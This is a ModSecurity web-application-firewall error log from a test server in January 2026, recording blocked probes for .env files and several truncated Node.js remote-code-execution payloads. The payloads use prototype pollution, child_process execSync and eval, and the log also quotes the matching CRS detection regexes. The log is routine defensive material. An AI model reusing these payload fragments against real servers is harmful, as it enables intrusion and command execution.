[Sun Jan 18 23:57:44.435447 2026] [:error] [pid 1501642] [client 4.190.201.130:11044] [client 4.190.201.130] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aW1laJqL558ZeyHGKUFg-gAAAAE&quot;]
[Sun Jan 18 23:57:44.435638 2026] [:error] [pid 1501642] [client 4.190.201.130:11044] [client 4.190.201.130] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.php&quot;] [unique_id &quot;aW1laJqL558ZeyHGKUFg-gAAAAE&quot;]
[Mon Jan 19 09:52:03.931262 2026] [:error] [pid 1509525] [client 34.31.246.19:55342] [client 34.31.246.19] ModSecurity: Rule 7f409bdf1898 [id &quot;932110&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;258&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW3ws9nhpURCUJzoPh9mVAAAAAE&quot;]
[Mon Jan 19 09:52:03.931347 2026] [:error] [pid 1509525] [client 34.31.246.19:55342] [client 34.31.246.19] ModSecurity: Rule 7f409bde6760 [id &quot;932115&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;298&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW3ws9nhpURCUJzoPh9mVAAAAAE&quot;]
[Mon Jan 19 09:52:03.933084 2026] [:error] [pid 1509525] [client 34.31.246.19:55342] [client 34.31.246.19] ModSecurity: Warning. Pattern match &quot;(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;350&quot;] [id &quot;933160&quot;] [msg &quot;PHP Injection Attack: High-Risk PHP Function Call Found&quot;] [data &quot;Matched Data: eval(user_code);            Promise.resolve(val).then(function(v) {                var res_str = (typeof v === &#039;object&#039;) ? JSON.stringify(v) : String(v);                try { res_str = zlib.deflateSync(res_str); } catch(e) {}                var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString(&#039;hex&#039;);                reject(Object.assign(new Error(&#039;RCE_RES&#039;), { digest: res_hex }));            }).catch(function(e) {                reject(Object.assign(new Er...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_C [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW3ws9nhpURCUJzoPh9mVAAAAAE&quot;]
[Mon Jan 19 09:52:03.933228 2026] [:error] [pid 1509525] [client 34.31.246.19:55342] [client 34.31.246.19] ModSecurity: Rule 7f409ba37bf8 [id &quot;933210&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;][line &quot;504&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW3ws9nhpURCUJzoPh9mVAAAAAE&quot;]
[Mon Jan 19 09:52:03.933406 2026] [:error] [pid 1509525] [client 34.31.246.19:55342] [client 34.31.246.19] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function(&#039;return import(\\x5c\\x22node:child_process\\x5c\\x22)&#039;)(), Function(&#039;return import(\\x5c\\x22node:zlib\\x5c\\x22)&#039;)()]).then(([cp, zlib]) =&gt; {    return new Promise((resolve, reject) =&gt; {      ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW3ws9nhpURCUJzoPh9mVAAAAAE&quot;]
[Mon Jan 19 09:52:03.933571 2026] [:error] [pid 1509525] [client 34.31.246.19:55342] [client 34.31.246.19] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function(&#039;return import(\\x5c\\x22node:child_process\\x5c\\x22)&#039;)(), Function(&#039;return import(\\x5c\\x22node:zlib\\x5c\\x22)&#039;)()]).then(([cp, zlib]) =&gt; {    return new Promise((resolve, reject) =&gt; {      ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW3ws9nhpURCUJzoPh9mVAAAAAE&quot;]
[Mon Jan 19 09:52:03.935399 2026] [:error] [pid 1509525] [client 34.31.246.19:55342] [client 34.31.246.19] ModSecurity: Rule 7f409c669320 [id &quot;941140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;179&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW3ws9nhpURCUJzoPh9mVAAAAAE&quot;]
[Mon Jan 19 09:52:03.935546 2026] [:error] [pid 1509525] [client 34.31.246.19:55342] [client 34.31.246.19] ModSecurity: Rule 7f409c660030 [id &quot;941160&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;218&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW3ws9nhpURCUJzoPh9mVAAAAAE&quot;]
[Mon Jan 19 09:52:03.942982 2026] [:error] [pid 1509525] [client 34.31.246.19:55342] [client 34.31.246.19] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW3ws9nhpURCUJzoPh9mVAAAAAE&quot;]
[Mon Jan 19 09:52:03.943200 2026] [:error] [pid 1509525] [client 34.31.246.19:55342] [client 34.31.246.19] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW3ws9nhpURCUJzoPh9mVAAAAAE&quot;]
[Tue Jan 20 07:28:03.242480 2026] [:error] [pid 1531286] [client 141.98.11.171:15563] [client 141.98.11.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aW8gc8v_oo7eqxsqKGb_igAAAAQ&quot;]
[Tue Jan 20 07:28:03.242755 2026] [:error] [pid 1531286] [client 141.98.11.171:15563] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aW8gc8v_oo7eqxsqKGb_igAAAAQ&quot;]
[Tue Jan 20 07:28:03.242937 2026] [:error] [pid 1531286] [client 141.98.11.171:15563] [client 141.98.11.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aW8gc8v_oo7eqxsqKGb_igAAAAQ&quot;]
[Tue Jan 20 07:28:03.279814 2026] [:error] [pid 1531286] [client 141.98.11.171:15563] [client 141.98.11.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aW8gc8v_oo7eqxsqKGb_iwAAAAQ&quot;]
[Tue Jan 20 07:28:03.280035 2026] [:error] [pid 1531286] [client 141.98.11.171:15563] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aW8gc8v_oo7eqxsqKGb_iwAAAAQ&quot;]
[Tue Jan 20 07:28:03.280228 2026] [:error] [pid 1531286] [client 141.98.11.171:15563] [client 141.98.11.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aW8gc8v_oo7eqxsqKGb_iwAAAAQ&quot;]
[Tue Jan 20 16:20:14.150192 2026] [:error] [pid 1531285] [client 45.153.34.31:52040] [client 45.153.34.31] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: $((5288*1391))) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(echo $((5288*1391))).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW-dLi-ehH7pMtbfD94R9wAAAAM&quot;]
[Tue Jan 20 16:20:14.151460 2026] [:error] [pid 1531285] [client 45.153.34.31:52040] [client 45.153.34.31] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW-dLi-ehH7pMtbfD94R9wAAAAM&quot;]
[Tue Jan 20 16:20:14.151700 2026] [:error] [pid 1531285] [client 45.153.34.31:52040] [client 45.153.34.31] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW-dLi-ehH7pMtbfD94R9wAAAAM&quot;]
[Tue Jan 20 16:36:27.224721 2026] [:error] [pid 1542465] [client 45.153.34.31:59976] [client 45.153.34.31] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: $((5288*1391))) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(echo $((5288*1391))).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW-g--ZN_4NVvBKxeUJK5wAAAAg&quot;]
[Tue Jan 20 16:36:27.227179 2026] [:error] [pid 1542465] [client 45.153.34.31:59976] [client 45.153.34.31] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW-g--ZN_4NVvBKxeUJK5wAAAAg&quot;]
[Tue Jan 20 16:36:27.227467 2026] [:error] [pid 1542465] [client 45.153.34.31:59976] [client 45.153.34.31] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aW-g--ZN_4NVvBKxeUJK5wAAAAg&quot;]
[Wed Jan 21 15:52:37.818902 2026] [:error] [pid 1553373] [client 34.45.218.41:6024] [client 34.45.218.41] ModSecurity: Rule 7f4338c75898 [id &quot;932110&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;258&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXDoNTRL0-v2m1bzUySo3gAAAAY&quot;]
[Wed Jan 21 15:52:37.819003 2026] [:error] [pid 1553373] [client 34.45.218.41:6024] [client 34.45.218.41] ModSecurity: Rule 7f4338c6a760 [id &quot;932115&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;298&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXDoNTRL0-v2m1bzUySo3gAAAAY&quot;]
[Wed Jan 21 15:52:37.820811 2026] [:error] [pid 1553373] [client 34.45.218.41:6024] [client 34.45.218.41] ModSecurity: Warning. Pattern match &quot;(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;350&quot;] [id &quot;933160&quot;] [msg &quot;PHP Injection Attack: High-Risk PHP Function Call Found&quot;] [data &quot;Matched Data: eval(user_code);            Promise.resolve(val).then(function(v) {                var res_str = (typeof v === &#039;object&#039;) ? JSON.stringify(v) : String(v);                try { res_str = zlib.deflateSync(res_str); } catch(e) {}                var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString(&#039;hex&#039;);                reject(Object.assign(new Error(&#039;RCE_RES&#039;), { digest: res_hex }));            }).catch(function(e) {                reject(Object.assign(new Er...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_C [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXDoNTRL0-v2m1bzUySo3gAAAAY&quot;]
[Wed Jan 21 15:52:37.820994 2026] [:error] [pid 1553373] [client 34.45.218.41:6024] [client 34.45.218.41] ModSecurity: Rule 7f43388bbbf8 [id &quot;933210&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;][line &quot;504&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXDoNTRL0-v2m1bzUySo3gAAAAY&quot;]
[Wed Jan 21 15:52:37.821161 2026] [:error] [pid 1553373] [client 34.45.218.41:6024] [client 34.45.218.41] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function(&#039;return import(\\x5c\\x22node:child_process\\x5c\\x22)&#039;)(), Function(&#039;return import(\\x5c\\x22node:zlib\\x5c\\x22)&#039;)()]).then(([cp, zlib]) =&gt; {    return new Promise((resolve, reject) =&gt; {      ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXDoNTRL0-v2m1bzUySo3gAAAAY&quot;]
[Wed Jan 21 15:52:37.821311 2026] [:error] [pid 1553373] [client 34.45.218.41:6024] [client 34.45.218.41] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function(&#039;return import(\\x5c\\x22node:child_process\\x5c\\x22)&#039;)(), Function(&#039;return import(\\x5c\\x22node:zlib\\x5c\\x22)&#039;)()]).then(([cp, zlib]) =&gt; {    return new Promise((resolve, reject) =&gt; {      ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXDoNTRL0-v2m1bzUySo3gAAAAY&quot;]
[Wed Jan 21 15:52:37.823323 2026] [:error] [pid 1553373] [client 34.45.218.41:6024] [client 34.45.218.41] ModSecurity: Rule 7f43394ed320 [id &quot;941140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;179&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXDoNTRL0-v2m1bzUySo3gAAAAY&quot;]
[Wed Jan 21 15:52:37.823466 2026] [:error] [pid 1553373] [client 34.45.218.41:6024] [client 34.45.218.41] ModSecurity: Rule 7f43394e4030 [id &quot;941160&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;218&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aXDoNTRL0-v2m1bzUySo3gAAAAY&quot;]
